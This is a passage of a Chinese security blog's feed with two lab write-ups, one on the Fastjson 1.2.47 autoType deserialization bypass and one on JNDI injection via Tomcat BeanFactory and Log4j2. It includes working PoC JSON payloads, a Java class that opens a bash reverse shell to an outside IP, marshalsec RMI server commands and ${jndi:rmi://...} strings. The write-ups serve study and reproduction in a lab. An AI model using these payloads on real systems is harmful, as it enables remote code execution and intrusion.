class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">className</span> <span class="operator">=</span> typeName.replace(<span class="string">'$'</span>, <span class="string">'.'</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (autoTypeSupport || expectClass != <span class="literal">null</span>) {<span class="comment">//白名单判断</span></span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i < acceptList.length; ++i) {</span><br><span class="line"> <span class="type">String</span> <span class="variable">accept</span> <span class="operator">=</span> acceptList[i];</span><br><span class="line"> <span class="keyword">if</span> (className.startsWith(accept)) {</span><br><span class="line"> <span class="keyword">return</span> TypeUtils.loadClass(typeName, defaultClassLoader);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i < denyList.length; ++i) {<span class="comment">//黑名单判断</span></span><br><span class="line"> <span class="type">String</span> <span class="variable">deny</span> <span class="operator">=</span> denyList[i];</span><br><span class="line"> <span class="keyword">if</span> (className.startsWith(deny)) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">JSONException</span>(<span class="string">"autoType is not support. "</span> + typeName);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> Class<?> clazz = TypeUtils.getClassFromMapping(typeName);<span class="comment">//从缓存表中查找类名</span></span><br><span class="line"> <span class="keyword">if</span> (clazz == <span class="literal">null</span>) {</span><br><span class="line"> clazz = deserializers.findClass(typeName);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (clazz != <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">if</span> (expectClass != <span class="literal">null</span> && !expectClass.isAssignableFrom(clazz)) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">JSONException</span>(<span class="string">"type not match. "</span> + typeName + <span class="string">" -> "</span> + expectClass.getName());</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> clazz;<span class="comment">//在这里就直接返回了clazz</span></span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>查看<code>getClassFromMapping</code>方法,在<code>com.alibaba.fastjson.util.TypeUtils</code>类中</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> Class<?> getClassFromMapping(String className) {</span><br><span class="line"> <span class="keyword">return</span> mappings.get(className);<span class="comment">//可以发现获取的是mappings参数的类名</span></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>找一下mappings参数的<code>put方法</code>,发现有两处,第一处是<code>addBaseClassMappings方法</code></p><p><img src="image-20230411180046143.png" alt="image-20230411180046143"></p><p>听名字都知道这里只是将一些基础类放到mappings中,我们无法控制</p><p>另外一处是<code>loadClass方法</code>,loadClass会把传入的类名放到mappings中</p><p><img src="image-20230411180157779.png" alt="image-20230411180157779"></p><p>找一下发现<code>com.alibaba.fastjson.serializer.MiscCodec</code>类调用了loadClass方法</p><p><img src="image-20230411180847428.png" alt="image-20230411180847428"></p><p>而MiscCodec又实现了<code>ObjectSerializer</code>接口,说明它是一个``反序列化器`,</p><p><img src="image-20230411180951750.png" alt="image-20230411180951750"></p><p>然而fastjson的反序列化需要用到反序列化器,这个反序列化器是从config中得到的</p><p><img src="image-20230411181146140.png" alt="image-20230411181146140"></p><p>根据反序列化类的不同调用不同的的反序列化器,如下图中如果反序列化的类是<code>Class类</code>,那么就会调用MiscCodec类这个反序列化器,进而调用loadClass方法</p><p><img src="image-20230411181352396.png" alt="image-20230411181352396"></p><p>再来看看参数的传递,我们要让<code>com.sun.rowset.JdbcRowSetImpl</code>作为参数传入到loadClass方法,在MiscCodec类中传入的是strVal参数,而与strVal参数有关的部分代码为:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">Object objVal;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {<span class="comment">//检查当前解析的 JSON 对象是否为类型名重定向(TypeNameRedirect)</span></span><br><span class="line"> parser.resolveStatus = DefaultJSONParser.NONE;</span><br><span class="line"> parser.accept(JSONToken.COMMA);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (lexer.token() == JSONToken.LITERAL_STRING) {<span class="comment">//检查下一个标记是否为字符串</span></span><br><span class="line"> <span class="keyword">if</span> (!<span class="string">"val"</span>.equals(lexer.stringVal())) {<span class="comment">//校验其值是否为 "val"</span></span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">JSONException</span>(<span class="string">"syntax error"</span>);</span><br><span class="line"> }</span><br><span class="line"> lexer.nextToken();</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">JSONException</span>(<span class="string">"syntax error"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> parser.accept(JSONToken.COLON);<span class="comment">//读取下一个 JSON 标记,以跳过冒号(:)分隔符</span></span><br><span class="line"></span><br><span class="line"> objVal = parser.parse();<span class="comment">//使用 parse() 方法解析 JSON 对象的值部分</span></span><br><span class="line"></span><br><span class="line"> parser.accept(JSONToken.RBRACE);</span><br><span class="line">} <span class="keyword">else</span> {</span><br><span class="line"> objVal = parser.parse();</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line">String strVal;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (objVal == <span class="literal">null</span>) {</span><br><span class="line"> strVal = <span class="literal">null</span>;</span><br><span class="line">} <span class="keyword">else</span> <span class="keyword">if</span> (objVal <span class="keyword">instanceof</span> String) {</span><br><span class="line"> strVal = (String) objVal;<span class="comment">//这里将objVal的值给了strVal</span></span><br></pre></td></tr></table></figure><p>为了使最后的strVal等于com.sun.rowset.JdbcRowSetImpl,我们要传入一个<code>val</code>,其值为<code>com.sun.rowset.JdbcRowSetImpl</code></p><p>最后构造poc</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span><span class="punctuation">{</span><span class="attr">"@type"</span><span class="punctuation">:</span><span class="string">"java.lang.Class"</span><span class="punctuation">,</span><span class="attr">"val"</span><span class="punctuation">:</span><span class="string">"com.sun.rowset.JdbcRowSetImpl"</span><span class="punctuation">}</span><span class="punctuation">,</span><span class="punctuation">{</span><span class="attr">"@type"</span><span class="punctuation">:</span><span class="string">"com.sun.rowset.JdbcRowSetImpl"</span><span class="punctuation">,</span><span class="attr">"dataSourceName"</span><span class="punctuation">:</span><span class="string">"rmi://127.0.0.1:8085/PxTxVXhC"</span><span class="punctuation">,</span> <span class="attr">"autoCommit"</span><span class="punctuation">:</span><span class="literal"><span class="keyword">true</span></span><span class="punctuation">}</span><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p>命令执行成功</p><p><img src="image-20230411192547329.png" alt="image-20230411192547329"></p><h1 id="vulhub复现">vulhub复现</h1><p>启动靶场(这里打的是1.2.47)</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker-compose up -d</span><br></pre></td></tr></table></figure><p>yakit开个监听端口</p><p><img src="image-20230501212304453.png" alt="image-20230501212304453"></p><p>编写恶意代码Getshell.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.lang.Runtime;</span><br><span class="line"><span class="keyword">import</span> java.lang.Process;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Getshell</span> {</span><br><span class="line"> <span class="keyword">static</span> {</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">Runtime</span> <span class="variable">rt</span> <span class="operator">=</span> Runtime.getRuntime();</span><br><span class="line"> String[] commands = {<span class="string">"bash"</span>, <span class="string">"-c"</span>, <span class="string">"bash -i>& /dev/tcp/192.168.210.10/2333 0>&1"</span>};</span><br><span class="line"> <span class="type">Process</span> <span class="variable">pc</span> <span class="operator">=</span> rt.exec(commands);</span><br><span class="line"> pc.waitFor();</span><br><span class="line"> } <span class="keyword">catch</span> (Exception e) {</span><br><span class="line"> <span class="comment">// do nothing</span></span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>编译以后利用python将Getshell.class挂起来</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python -m http.server 6666</span><br></pre></td></tr></table></figure><p>接下来利用<code>marshalsec</code>启动RMI服务(这里直接用yakit似乎没用)</p><p>项目地址: <a href="https://github.com/mbechler/marshalsec">https://github.com/mbechler/marshalsec</a></p><p>下载以后先用mvn编译</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">mvn clean package -DskipTests </span><br></pre></td></tr></table></figure><p>生成target后运行marshalsec-0.0.3-SNAPSHOT-all.jar</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.59.1:6666/#Getshell" 9999</span><br></pre></td></tr></table></figure><p>构造exp</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span></span><br><span class="line"><span class="attr">"a"</span><span class="punctuation">:</span><span class="punctuation">{</span><span class="attr">"@type"</span><span class="punctuation">:</span><span class="string">"java.lang.Class"</span><span class="punctuation">,</span><span class="attr">"val"</span><span class="punctuation">:</span><span class="string">"com.sun.rowset.JdbcRowSetImpl"</span><span class="punctuation">}</span><span class="punctuation">,</span></span><br><span class="line"><span class="attr">"b"</span><span class="punctuation">:</span><span class="punctuation">{</span><span class="attr">"@type"</span><span class="punctuation">:</span><span class="string">"com.sun.rowset.JdbcRowSetImpl"</span><span class="punctuation">,</span><span class="attr">"dataSourceName"</span><span class="punctuation">:</span><span class="string">"rmi://192.168.59.1:9999/Getshell"</span><span class="punctuation">,</span> <span class="attr">"autoCommit"</span><span class="punctuation">:</span><span class="literal"><span class="keyword">true</span></span><span class="punctuation">}</span></span><br><span class="line"><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p>burpsuite重放以后发现yakit成功反弹了shell</p><p><img src="image-20230501212216120.png" alt="image-20230501212216120"></p>]]></content>
<summary type="html"><h1 id="FastJson-1-2-22-1-2-24">FastJson 1.2.22 - 1.2.24</h1>
<p><code>fastjson</code>是java反序列化中一个经典的漏洞了,早些在使用java写爬虫程序的时候就用过这个库,今天就针对其反序列化漏</summary>
<category term="JAVA" scheme="http://example.com/categories/JAVA/"/>
<category term="反序列化" scheme="http://example.com/tags/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
</entry>
<entry>
<title>java反序列化之jndi</title>
<link href="http://example.com/post/2023/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bjndi/"/>
<id>http://example.com/post/2023/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bjndi/</id>
<published>2023-04-01T12:09:16.000Z</published>
<updated>2023-06-14T11:56:20.890Z</updated>
<content type="html"><![CDATA[<h1 id="jndi加载本地类利用">jndi加载本地类利用</h1><p>上一个篇中讲了jndi结合RMI的利用,然而这个利用只适用于<code> JDK < 8u191</code>的情况,在高版本的jdk中,我们可以通过<code>加载本地类</code>的方法进行命令执行。</p><p>之前在Reference中传入了一个工厂类名,然后让程序去找这个工厂类的位置,最终加载到了我们所构建的恶意类并调用了其构造方法,而这次我们将直接利用本地存在的工厂类去执行命令。</p><p>这里利用的是<code>tomcat8</code>带有的<code>BeanFactory类</code>,这个类中带有method.invoke可以通过反射来调用任意方法。</p><p>首先导入依赖(这里org.apache.el如果导入失败的话需要换个源,我是用<code>阿里云</code>的源):</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.apache.tomcat<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>tomcat-catalina<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>8.5.0<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"><span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.apache.el<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>com.springsource.org.apache.el<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>7.0.26<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"><span class="tag"></<span class="name">dependency</span>></span></span><br></pre></td></tr></table></figure><p>poc代码:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Registry</span> <span class="variable">registry</span> <span class="operator">=</span> LocateRegistry.createRegistry(<span class="number">1099</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">ResourceRef</span> <span class="variable">ref</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ResourceRef</span>(<span class="string">"javax.el.ELProcessor"</span>, <span class="literal">null</span>, <span class="string">""</span>, <span class="string">""</span>, <span class="literal">true</span>,<span class="string">"org.apache.naming.factory.BeanFactory"</span>,<span class="literal">null</span>);</span><br><span class="line">ref.add(<span class="keyword">new</span> <span class="title class_">StringRefAddr</span>(<span class="string">"forceString"</span>, <span class="string">"x=eval"</span>));</span><br><span class="line">ref.add(<span class="keyword">new</span> <span class="title class_">StringRefAddr</span>(<span class="string">"x"</span>, <span class="string">"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"</span>));</span><br><span class="line"></span><br><span class="line"><span class="type">ReferenceWrapper</span> <span class="variable">referenceWrapper</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">com</span>.sun.jndi.rmi.registry.ReferenceWrapper(ref);</span><br><span class="line">registry.bind(<span class="string">"Object"</span>, referenceWrapper);</span><br></pre></td></tr></table></figure><p>客户端:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Object object=<span class="keyword">new</span> <span class="title class_">InitialContext</span>().lookup(<span class="string">"rmi://127.0.0.1:1099/Object"</span>);</span><br></pre></td></tr></table></figure><p>效果:</p><p><img src="image-20230402123833616.png" alt="image-20230402123833616"></p><p>利用链:<br>InitialContext#lookup</p><p>GenericURLContext#lookup</p><p>RegistryContext#lookup</p><p>RegistryContext#decodeObject</p><p>NamingManager#getObjectInstance</p><p>BeanFactory#getObjectInstance</p><p>反射执行的语句:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(<span class="keyword">new</span> <span class="title class_">ELProcessor</span>()).eval(<span class="string">"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"</span>);</span><br></pre></td></tr></table></figure><p>解释:</p><ol><li>“”.getClass() 返回字符串对象的Class对象。</li><li>Class.forName() 可以根据类的名称返回对应的Class对象。</li><li>newInstance() 可以使用Class对象实例化一个对象。</li><li>getEngineByName() 返回指定名称的脚本引擎对象,这里是JavaScript引擎对象。</li><li>eval() 方法用于执行脚本。</li><li>ProcessBuilder 类可以启动一个新进程并执行操作系统命令。</li></ol><h1 id="jndi-log4j2">jndi+log4j2</h1><p>Log4j2是Apache软件基金会下的一个开源项目,是Java编程语言的一种流行的、模块化的<code>日志记录工具</code>,用于记录应用程序的运行状态信息和调试信息。</p><p>而在2021年11月log4j2爆出了一个代码执行漏洞,影响范围非常大,2.14.1版本及之前的都存在该漏洞</p><p>而这个漏洞的利用正好与jndi注入有关</p><h2 id="环境搭建">环境搭建</h2><p>首先导入依赖(版本小于2.14.1即可):</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.apache.logging.log4j<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>log4j-api<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>2.14.0<span class="tag"></<span class="name">version</span>></span></span><br><span class="line"><span class="tag"></<span class="name">dependency</span>></span></span><br><span class="line"><span class="tag"><<span class="name">dependency</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">groupId</span>></span>org.apache.logging.log4j<span class="tag"></<span class="name">groupId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">artifactId</span>></span>log4j-core<span class="tag"></<span class="name">artifactId</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">version</span>></span>2.14.0<span class="tag"></<span class="name">version</span>></span></span><br></pre></td></tr></table></figure><p>编写log4j2的配置文件</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?xml version=<span class="string">"1.0"</span> encoding=<span class="string">"UTF-8"</span>?></span></span><br><span class="line"><span class="tag"><<span class="name">Configuration</span> <span class="attr">status</span>=<span class="string">"WARN"</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="comment"><!--全局参数--></span></span><br><span class="line"> <span class="tag"><<span class="name">Properties</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">Property</span> <span class="attr">name</span>=<span class="string">"pattern"</span>></span>%d{yyyy-MM-dd HH:mm:ss,SSS} %5p %c{1}:%L - %m%n<span class="tag"></<span class="name">Property</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">Property</span> <span class="attr">name</span>=<span class="string">"logDir"</span>></span>/data/logs/dust-server<span class="tag"></<span class="name">Property</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">Properties</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">Loggers</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">Root</span> <span class="attr">level</span>=<span class="string">"INFO"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">AppenderRef</span> <span class="attr">ref</span>=<span class="string">"console"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">AppenderRef</span> <span class="attr">ref</span>=<span class="string">"rolling_file"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">Root</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">Loggers</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">Appenders</span>></span></span><br><span class="line"> <span class="comment"><!-- 定义输出到控制台 --></span></span><br><span class="line"> <span class="tag"><<span class="name">Console</span> <span class="attr">name</span>=<span class="string">"console"</span> <span class="attr">target</span>=<span class="string">"SYSTEM_OUT"</span> <span class="attr">follow</span>=<span class="string">"true"</span>></span></span><br><span class="line"> <span class="comment"><!--控制台只输出level及以上级别的信息--></span></span><br><span class="line"> <span class="tag"><<span class="name">ThresholdFilter</span> <span class="attr">level</span>=<span class="string">"INFO"</span> <span class="attr">onMatch</span>=<span class="string">"ACCEPT"</span> <span class="attr">onMismatch</span>=<span class="string">"DENY"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">PatternLayout</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">Pattern</span>></span>${pattern}<span class="tag"></<span class="name">Pattern</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">PatternLayout</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">Console</span>></span></span><br><span class="line"> <span class="comment"><!-- 同一来源的Appender可以定义多个RollingFile,定义按天存储日志 --></span></span><br><span class="line"> <span class="tag"><<span class="name">RollingFile</span> <span class="attr">name</span>=<span class="string">"rolling_file"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">fileName</span>=<span class="string">"${logDir}/dust-server.log"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">filePattern</span>=<span class="string">"${logDir}/dust-server_%d{yyyy-MM-dd}.log"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">ThresholdFilter</span> <span class="attr">level</span>=<span class="string">"INFO"</span> <span class="attr">onMatch</span>=<span class="string">"ACCEPT"</span> <span class="attr">onMismatch</span>=<span class="string">"DENY"</span>/></span></span><br><span class="line"> <span class="tag"><<span class="name">PatternLayout</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">Pattern</span>></span>${pattern}<span class="tag"></<span class="name">Pattern</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">PatternLayout</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">Policies</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">TimeBasedTriggeringPolicy</span> <span class="attr">interval</span>=<span class="string">"1"</span>/></span></span><br><span class="line"> <span class="tag"></<span class="name">Policies</span>></span></span><br><span class="line"> <span class="comment"><!-- 日志保留策略,配置只保留七天 --></span></span><br><span class="line"> <span class="tag"><<span class="name">DefaultRolloverStrategy</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">Delete</span> <span class="attr">basePath</span>=<span class="string">"${logDir}/"</span> <span class="attr">maxDepth</span>=<span class="string">"1"</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">IfFileName</span> <span class="attr">glob</span>=<span class="string">"dust-server_*.log"</span> /></span></span><br><span class="line"> <span class="tag"><<span class="name">IfLastModified</span> <span class="attr">age</span>=<span class="string">"7d"</span> /></span></span><br><span class="line"> <span class="tag"></<span class="name">Delete</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">DefaultRolloverStrategy</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">RollingFile</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">Appenders</span>></span></span><br><span class="line"><span class="tag"></<span class="name">Configuration</span>></span></span><br></pre></td></tr></table></figure><p>测试:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LOGtest</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">( String[] args )</span></span><br><span class="line"> {</span><br><span class="line"> <span class="type">Logger</span> <span class="variable">logger</span> <span class="operator">=</span> LogManager.getLogger(LongFunction.class);</span><br><span class="line"> String username= <span class="string">"${java:os}"</span>; ;</span><br><span class="line"> logger.error(<span class="string">"Hello, {}"</span>,username);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="image-20230402194044347.png" alt="image-20230402194044347"></p><p>这里就输出了操作系统的一些信息,这实际上是log4j2自带的一些功能</p><p>但除此之外,它还支持调用<code>lookup</code>,那么这里就会存在我们之前所说的命令执行漏洞</p><h2 id="漏洞探测">漏洞探测</h2><p>修改测试代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LOGtest</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">( String[] args )</span></span><br><span class="line"> {</span><br><span class="line"> <span class="type">Logger</span> <span class="variable">logger</span> <span class="operator">=</span> LogManager.getLogger(LongFunction.class);</span><br><span class="line"> String username= <span class="string">"${jndi:rmi://foei54.dnslog.cn/Object}"</span>; ;</span><br><span class="line"> logger.error(<span class="string">"Hello, {}"</span>,username);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>foei54.dnslog.cn为我们在dnslog平台得到的url</p><p>运行测试代码并查看dns记录,出现以下结果则说明漏洞存在</p><p><img src="image-20230402200004246.png" alt="image-20230402200004246"></p><h2 id="漏洞利用">漏洞利用</h2><p>修改测试代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">LOGtest</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">( String[] args )</span></span><br><span class="line"> {</span><br><span class="line"> <span class="type">Logger</span> <span class="variable">logger</span> <span class="operator">=</span> LogManager.getLogger(LongFunction.class);</span><br><span class="line"> String username= <span class="string">"${jndi:rmi://127.0.0.1:1099/Object}"</span>; ;</span><br><span class="line"> logger.error(<span class="string">"Hello, {}"</span>,username);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>将之前测试jndi的服务端程序运行起来,然后运行测试代码</p><p>效果:</p><p><img src="image-20230402194654780.png" alt="image-20230402194654780"></p><p>可以看到命令被成功执行了</p><p>实际上在正常的生产环境中,log4j2会写入非常多的事件,哪怕是一个简单的用户登录事件,这时候我们就可以修改用户名的内容为${jndi:rmi://foei54.dnslog.cn/Object}来测试漏洞是否存在。</p><p>参考:</p><p><a href="https://xz.aliyun.com/t/8214">JNDI注入学习</a></p><p><a href="https://blog.csdn.net/lumingzhu111/article/details/121871114">一问三不知之log4j2漏洞简析</a></p><p><a href="https://www.freebuf.com/articles/web/341857.html">深入学习 Log4j2 漏洞原理以及绕过手段</a></p>]]></content>
<summary type="html"><h1 id="jndi加载本地类利用">jndi加载本地类利用</h1>
<p>上一个篇中讲了jndi结合RMI的利用,然而这个利用只适用于<code> JDK &lt; 8u191</code>的情况,在高版本的jdk中,我们可以通过<code>加载本地类</code>的方法</summary>
<category term="JAVA" scheme="http://example.com/categories/JAVA/"/>
